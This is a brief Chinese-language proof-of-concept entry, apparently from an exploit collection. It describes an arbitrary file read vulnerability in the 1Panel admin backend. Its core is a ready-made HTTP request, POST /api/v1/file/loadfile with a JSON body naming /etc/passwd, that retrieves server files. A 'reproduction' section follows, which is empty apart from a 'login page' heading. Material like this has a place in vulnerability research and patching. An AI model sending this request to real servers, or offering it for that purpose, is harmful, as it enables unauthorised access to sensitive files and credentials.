17 lines
538 B
Markdown
17 lines
538 B
Markdown
|
**漏洞描述**
|
|||
|
|
|
|||
|
|
1Panel后台存在任意文件读取漏洞，攻击者通过漏洞可以获取服务器中的敏感信息文件
|
|||
|
|
|
|||
|
|
POC
|
|||
|
|
|
|||
|
|
POST /api/v1/file/loadfile {"paht":"/etc/passwd"}
|
|||
|
|
|
|||
|
|
**漏洞复现**
|
|||
|
|
|
|||
|
|
登陆页面
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|